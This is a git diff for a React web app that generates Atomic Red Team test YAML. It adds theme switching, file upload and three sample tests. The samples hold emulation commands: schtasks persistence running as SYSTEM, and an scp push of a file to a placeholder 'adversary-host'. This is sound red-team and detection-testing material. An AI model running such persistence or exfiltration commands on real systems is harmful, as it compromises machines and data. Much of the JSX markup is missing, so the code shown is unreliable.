diff --git a/.env b/.env new file mode 100644 index 0000000..ba7cc18 --- /dev/null +++ b/.env @@ -0,0 +1 @@ +GENERATE_SOURCEMAP=false diff --git a/package-lock.json b/package-lock.json index aabcbe2..376b2ad 100644 --- a/package-lock.json +++ b/package-lock.json @@ -24,8 +24,7 @@ "react-ace": "^13.0.0", "react-dom": "^18.3.1", "react-scripts": "5.0.1", - "web-vitals": "^2.1.4", - "yaml": "^2.6.1" + "web-vitals": "^2.1.4" }, "devDependencies": { "nodemon": "^3.1.7" diff --git a/package.json b/package.json index 76ad6cb..e49ec21 100644 --- a/package.json +++ b/package.json @@ -1,6 +1,6 @@ { "name": "atomicgen.io", - "version": "0.1.0", + "version": "1.0.0", "private": true, "dependencies": { "@emotion/react": "^11.13.3", @@ -19,8 +19,7 @@ "react-ace": "^13.0.0", "react-dom": "^18.3.1", "react-scripts": "5.0.1", - "web-vitals": "^2.1.4", - "yaml": "^2.6.1" + "web-vitals": "^2.1.4" }, "scripts": { "start": "react-scripts start", diff --git a/src/App.jsx b/src/App.jsx index c4a4da9..edce52f 100644 --- a/src/App.jsx +++ b/src/App.jsx @@ -36,12 +36,12 @@ const base = { description: null, supported_platforms: [], input_arguments: [], - dependency_executor_name: null, + dependency_executor_name: "", dependencies: [], executor: { command: null, cleanup_command: null, - name: null, + name: "", elevation_required: false, }, }; @@ -126,8 +126,10 @@ const validateInputs = (data, rules) => { function App() { const [errors, setErrors] = useState([]); const [validationErrors, setValidationErrors] = useState([]); + const [inputButtonErrors, setInputButtonErrors] = useState([]); const [updated, setUpdated] = useState(false); const [inputs, setInputs] = useState(base); + const [darkMode, setDarkMode] = useState(true); const [isPortrait, setIsPortrait] = useState(window.innerHeight > window.innerWidth); const [changed, setChanged] = useState(false); @@ -156,6 +158,13 @@ function App() { return () => window.removeEventListener('resize', handleResize); }, []); + useEffect(() => { + const cachedTheme = localStorage.getItem('darkMode'); + if (cachedTheme !== null) { + setDarkMode(cachedTheme === 'true'); + } + }, []); + // Check if inputs are updated useEffect(() => { if (JSON.stringify(inputs) === JSON.stringify(base)) { @@ -169,6 +178,7 @@ function App() { // Validate inputs useEffect(() => { + setInputButtonErrors([]); if (updated) { const errors = validateInputs(inputs, validationRules); @@ -183,7 +193,7 @@ function App() { palette: { mode: 'dark', primary: { - main: red[700], + main: red[500], contrastText: '#fff', }, background: { @@ -196,24 +206,48 @@ function App() { }, }); + const lightTheme = createTheme({ + palette: { + mode: 'light', + primary: { + main: red[900], + contrastText: '#fff', + }, + background: { + paper: "#fff", + }, + text: { + primary: "#000", + secondary: grey[600], + }, + }, + }); + return ( - + - + { return ( { const { name, value } = e.target; @@ -100,6 +101,18 @@ function Inputs({ errors, setErrors, inputs, setInputs, executor_names, supporte return ( + + + {/* Input for Atomic Name */} - + - + diff --git a/src/components/Inputs/Arguments.jsx b/src/components/Inputs/Arguments.jsx index d216178..94b2e78 100644 --- a/src/components/Inputs/Arguments.jsx +++ b/src/components/Inputs/Arguments.jsx @@ -13,7 +13,7 @@ import Button from '@mui/material/Button'; import Typography from '@mui/material/Typography'; // Arguments component for managing input arguments -function Arguments({ errors, setErrors, inputs, setInputs }) { +function Arguments({ darkMode, errors, setErrors, inputs, setInputs }) { // Check if there are duplicate names among the input arguments function hasDuplicateNames(data) { const names = data.map(obj => obj.name.trim()); @@ -90,7 +90,7 @@ function Arguments({ errors, setErrors, inputs, setInputs }) { @@ -151,6 +156,7 @@ function Dependency({ inputs, setInputs, executor_names }) { Prerequisite Command removeDependency(index)} > diff --git a/src/components/Inputs/InputButtons.jsx b/src/components/Inputs/InputButtons.jsx new file mode 100644 index 0000000..1189c44 --- /dev/null +++ b/src/components/Inputs/InputButtons.jsx @@ -0,0 +1,143 @@ +import React, { useState, useEffect } from 'react'; +import yaml from 'js-yaml'; +import Button from '@mui/material/Button'; +import ButtonGroup from '@mui/material/ButtonGroup'; +import ArrowDropDownIcon from '@mui/icons-material/ArrowDropDown'; +import ClickAwayListener from '@mui/material/ClickAwayListener'; +import Grow from '@mui/material/Grow'; +import Paper from '@mui/material/Paper'; +import Popper from '@mui/material/Popper'; +import Chip from '@mui/material/Chip'; +import Box from '@mui/material/Box'; +import MenuItem from '@mui/material/MenuItem'; +import MenuList from '@mui/material/MenuList'; +import Alert from '@mui/material/Alert'; +import basic from './samples/hostname_discovery_(windows).yaml'; +import moderate from './samples/scheduled_task_startup_script.yaml'; +import complex from './samples/windows_push_file_using_scp.exe.yaml'; +import { Typography } from '@mui/material'; +import UploadButton from './UploadButton'; +import transformInputArguments from './transformInputArguments'; + + + +export default function InputButtons({ inputButtonErrors, setInputButtonErrors, base, darkMode, setInputs, setChanged, changed }) { + const [open, setOpen] = React.useState(false); + const [samples, setSamples] = useState([]); + const anchorRef = React.useRef(null); + + useEffect(() => { + const fetchSamples = async () => { + const tests = [] + for (let test of [basic, moderate, complex]) { + let response = await fetch(test); + let yamlText = await response.text(); + let parsed = yaml.load(yamlText); + tests.push({ ...base, ...transformInputArguments(parsed[0]) }); + } + setSamples(tests); + } + fetchSamples(); + }, [base]); + + const handleToggle = () => { + setOpen((prevOpen) => !prevOpen); + }; + + const handleClose = (event) => { + if (anchorRef.current && anchorRef.current.contains(event.target)) { + return; + } + + setOpen(false); + }; + + + + + const loadSample = async (level) => { + if (changed) { + const confirm = window.confirm('Are you sure you want to load this sample? Your current inputs will be overwritten.'); + if (!confirm) return; + } + await setInputs({ ...base, ...samples[level] }); + setChanged(false); + handleToggle(null); + } + + return ( + + + + + + {inputButtonErrors.length > 0 && + + {inputButtonErrors.map((error, index) => ( +
  • {error}
  • + ))} +
    + } + + {({ TransitionProps }) => ( + + + + + { + samples.map((sample, index) => ( + loadSample(index)}> + + + {sample.name} + + + )) + } + + + + + + )} + +
    + ); +} diff --git a/src/components/Inputs/UploadButton.jsx b/src/components/Inputs/UploadButton.jsx new file mode 100644 index 0000000..03b9241 --- /dev/null +++ b/src/components/Inputs/UploadButton.jsx @@ -0,0 +1,93 @@ +import React from 'react'; +import { styled } from '@mui/material/styles'; +import Button from '@mui/material/Button'; +import yaml from 'js-yaml'; +import UploadedAtomicSelection from './UploadedAtomicSelection'; +import transformInputArguments from './transformInputArguments'; + +const VisuallyHiddenInput = styled('input')({ + clip: 'rect(0 0 0 0)', + clipPath: 'inset(50%)', + height: 1, + overflow: 'hidden', + position: 'absolute', + bottom: 0, + left: 0, + whiteSpace: 'nowrap', + width: 1, +}); + + +export default function UploadButton({ inputButtonErrors, setInputButtonErrors, setChanged, changed, base, darkMode, setInputs }) { + const [open, setOpen] = React.useState(false); + const [atomicNames, setAtomicNames] = React.useState([]); + const [techniqueName, setTechniqueName] = React.useState(null); + const [techniqueId, setTechniqueId] = React.useState(null); + const [fileContent, setFileContent] = React.useState(null); + + const handleFileUpload = async (event) => { + setInputButtonErrors([]); + if (changed) { + const confirm = window.confirm('Are you sure you want to load another test? Your current inputs will be overwritten.'); + if (!confirm) return; + } + const file = event.target.files[0]; + if (file) { + const fileExtension = file.name.split('.').pop().toLowerCase(); + if (fileExtension !== "yaml" && fileExtension !== "yml") { + setInputButtonErrors([...inputButtonErrors, "Only yaml files can be uploaded."]); + console.error("Only yaml files can be uploaded."); + return; + } + try { + const content = await file.text(); + + const parsed = yaml.load(content); + setFileContent(parsed); + if (parsed.atomic_tests && typeof parsed.atomic_tests === 'object') { + setAtomicNames(parsed.atomic_tests.map(i => i.name)) + setTechniqueName(parsed.display_name); + setTechniqueId(parsed.attack_technique); + setOpen(true); + } else { + setInputs({ ...base, ...transformInputArguments(parsed[0]) }); + } + + } catch (error) { + console.error("Error while file processing the yaml file, check format.", error); + setInputButtonErrors([...inputButtonErrors, "Error while file processing the yaml file, check format."]) + } finally { + event.target.value = null; + } + } + }; + return ( + + + ); +} diff --git a/src/components/Inputs/UploadedAtomicSelection.jsx b/src/components/Inputs/UploadedAtomicSelection.jsx new file mode 100644 index 0000000..bab1b70 --- /dev/null +++ b/src/components/Inputs/UploadedAtomicSelection.jsx @@ -0,0 +1,37 @@ +import * as React from 'react'; +import List from '@mui/material/List'; +import ListItem from '@mui/material/ListItem'; +import ListItemButton from '@mui/material/ListItemButton'; +import ListItemText from '@mui/material/ListItemText'; +import DialogTitle from '@mui/material/DialogTitle'; +import Dialog from '@mui/material/Dialog'; +import transformInputArguments from './transformInputArguments'; + + +export default function UploadedAtomicSelection({ base, atomicNames, techniqueId, techniqueName, open, setOpen, fileContent, setInputs }) { + + const handleListItemClick = (test_number) => { + setInputs({ ...base, ...transformInputArguments(fileContent.atomic_tests[test_number]) }) + setOpen(false); + }; + + const handleClose = () => { + setOpen(false); + }; + + return ( + + { `${techniqueId} - ${techniqueName}` } + + {atomicNames.map((i, index) => ( + + handleListItemClick(index)}> + + + + + ))} + + + ); +} diff --git a/src/components/Inputs/samples/hostname_discovery_(windows).yaml b/src/components/Inputs/samples/hostname_discovery_(windows).yaml new file mode 100644 index 0000000..ff32c64 --- /dev/null +++ b/src/components/Inputs/samples/hostname_discovery_(windows).yaml @@ -0,0 +1,10 @@ +- name: Hostname Discovery (Windows) + description: | + Identify system hostname for Windows. Upon execution, the hostname of the device will be displayed. + supported_platforms: + - windows + executor: + command: | + hostname + name: command_prompt + elevation_required: false diff --git a/src/components/Inputs/samples/scheduled_task_startup_script.yaml b/src/components/Inputs/samples/scheduled_task_startup_script.yaml new file mode 100644 index 0000000..4110371 --- /dev/null +++ b/src/components/Inputs/samples/scheduled_task_startup_script.yaml @@ -0,0 +1,14 @@ +- name: Scheduled Task Startup Script + description: | + Run an exe on user logon or system startup. Upon execution, success messages will be displayed for the two scheduled tasks. To view the tasks, open the Task Scheduler and look in the Active Tasks pane. + supported_platforms: + - windows + executor: + command: | + schtasks /create /tn "T1053_005_OnLogon" /sc onlogon /tr "cmd.exe /c calc.exe" + schtasks /create /tn "T1053_005_OnStartup" /sc onstart /ru system /tr "cmd.exe /c calc.exe" + cleanup_command: | + schtasks /delete /tn "T1053_005_OnLogon" /f >nul 2>&1 + schtasks /delete /tn "T1053_005_OnStartup" /f >nul 2>&1 + name: command_prompt + elevation_required: true diff --git a/src/components/Inputs/samples/windows_push_file_using_scp.exe.yaml b/src/components/Inputs/samples/windows_push_file_using_scp.exe.yaml new file mode 100644 index 0000000..8128b2d --- /dev/null +++ b/src/components/Inputs/samples/windows_push_file_using_scp.exe.yaml @@ -0,0 +1,69 @@ +- name: Windows push file using scp.exe + description: | + This test simulates pushing files using SCP on a Windows environment. + supported_platforms: + - windows + input_arguments: + username: + type: string + default: adversary + description: User account to authenticate on remote host + file_name: + type: string + default: T1105.txt + description: Name of the file to transfer + local_path: + type: path + default: C:\temp + description: Local path to copy from + remote_host: + type: string + default: adversary-host + description: Remote host to send + remote_path: + type: path + default: /tmp/ + description: Path of folder to copy + dependency_executor_name: powershell + dependencies: + - description: This test requires the `scp` command to be available on the system. + prereq_command: | + if (Get-Command scp -ErrorAction SilentlyContinue) { + Write-Output "SCP command is available." + exit 0 + } else { + Write-Output "SCP command is not available." + exit 1 + } + get_prereq_command: | + # Define the capability name for OpenSSH Client + $capabilityName = "OpenSSH.Client~~~~0.0.1.0" + try { + # Install the OpenSSH Client capability + Add-WindowsCapability -Online -Name $capabilityName -ErrorAction Stop + Write-Host "OpenSSH Client has been successfully installed." -ForegroundColor Green + } catch { + # Handle any errors that occur during the installation process + Write-Host "An error occurred while installing OpenSSH Client: $_" -ForegroundColor Red + } + executor: + command: | + # Check if the folder exists, create it if it doesn't + $folderPath = "#{local_path}" + if (-Not (Test-Path -Path $folderPath)) { + New-Item -Path $folderPath -ItemType Directory + } + + # Create the file + $filePath = Join-Path -Path $folderPath -ChildPath "#{file_name}" + New-Item -Path $filePath -ItemType File -Force + Write-Output "File created: $filePath" + + # Attack command + scp.exe #{local_path}\#{file_name} #{username}@#{remote_host}:#{remote_path} + cleanup_command: | + $filePath = Join-Path -Path "#{local_path}" -ChildPath "#{file_name}" + Remove-Item -Path $filePath -Force -erroraction silentlycontinue + Write-Output "File deleted: $filePath" + name: powershell + elevation_required: true diff --git a/src/components/Inputs/transformInputArguments.js b/src/components/Inputs/transformInputArguments.js new file mode 100644 index 0000000..2385859 --- /dev/null +++ b/src/components/Inputs/transformInputArguments.js @@ -0,0 +1,15 @@ +function transformInputArguments(jsonData) { + if (jsonData.input_arguments && typeof jsonData.input_arguments === 'object') { + const transformedArguments = Object.keys(jsonData.input_arguments).map(key => { + const argument = jsonData.input_arguments[key]; + return { + name: key, + ...argument + }; + }); + jsonData.input_arguments = transformedArguments; + } + return jsonData; +} + +export default transformInputArguments; \ No newline at end of file diff --git a/src/components/Navbar.jsx b/src/components/Navbar.jsx index 41ce6eb..f0a49be 100644 --- a/src/components/Navbar.jsx +++ b/src/components/Navbar.jsx @@ -12,12 +12,13 @@ import { Link } from '@mui/material'; import LaunchIcon from '@mui/icons-material/Launch'; -import { GitHub as GitHubIcon } from '@mui/icons-material'; +import { GitHub as GitHubIcon, LightMode as LightModeIcon, DarkModeOutlined as DarkModeOutlinedIcon } from '@mui/icons-material'; -function Navbar() { +function Navbar( { darkMode, setDarkMode } ) { // State for handling the menu anchor element (useful links dropdown) const [anchorEl, setAnchorEl] = useState(null); + // List of useful links to display in the dropdown menu const usefulLinks = [ { text: 'Atomic Specs', url: 'https://github.com/redcanaryco/atomic-red-team/wiki/Sample-Spec' }, @@ -37,6 +38,13 @@ function Navbar() { setAnchorEl(null); }; + // Function to toggle the theme mode + const handleThemeToggle = () => { + const newMode = !darkMode; + setDarkMode(newMode); + localStorage.setItem('darkMode', newMode); + }; + return ( {/* Toolbar container for Navbar items */} @@ -116,7 +124,15 @@ function Navbar() { target="_blank" color="inherit" > - + +
    + + {/* Theme Toggle Button */} + + {darkMode ? : }
    diff --git a/src/components/YamlContent.jsx b/src/components/YamlContent.jsx index a714730..23de4e0 100644 --- a/src/components/YamlContent.jsx +++ b/src/components/YamlContent.jsx @@ -61,7 +61,7 @@ function cleanObject(obj) { } // Main component to handle YAML content display and interactions -function YamlContent({ inputs, setInputs, updated, base, validationErrors, setChanged, changed }) { +function YamlContent({ darkMode, inputs, setInputs, updated, base, validationErrors, setChanged, changed }) { const [formatted_yaml, setFormattedYaml] = React.useState(null); // Stores formatted YAML content const [showContent, setShowContent] = React.useState(false); // Toggles YAML content display const [showValidationErrors, setShowValidationErrors] = React.useState(false); // Toggles validation error display @@ -144,7 +144,7 @@ function YamlContent({ inputs, setInputs, updated, base, validationErrors, setCh {/* Button group for actions: Download, Copy, Reset */} - + @@ -160,7 +160,7 @@ function YamlContent({ inputs, setInputs, updated, base, validationErrors, setCh {showValidationErrors && ( - + Some of the required fields are missing. {[...new Set(validationErrors)].map((error, index) => (
  • {error}
  • @@ -173,6 +173,7 @@ function YamlContent({ inputs, setInputs, updated, base, validationErrors, setCh {showContent ? (